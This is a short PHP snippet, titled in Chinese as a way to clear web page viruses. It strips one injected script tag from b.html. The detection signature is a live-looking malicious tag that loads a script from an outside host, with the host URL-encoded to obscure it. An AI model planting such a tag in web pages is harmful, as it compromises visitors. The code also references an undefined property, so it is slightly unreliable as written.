php 清除网页病毒的方法

  <?php

  Class clear_virus{

  public $index ='b.html';

  public $filepath =array('b.html');

  public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";

  function open_file(){

  if(file_exists($this->index)){

  $tmp =file_get_contents($this->index);

  if( strrpos($tmp,$this->virus_type)!== false){

  $temp =str_replace($this->virus_type,'',$tmp);

  $handle =fopen($this->index,'w');

  fwrite($handle,$temp);

  fclose($handle);

  }else{

  echo $this->virus_find;

  }

  }

  }

  }

  $virus =new clear_virus;

  $virus->open_file();

  ?>

  清除script 病毒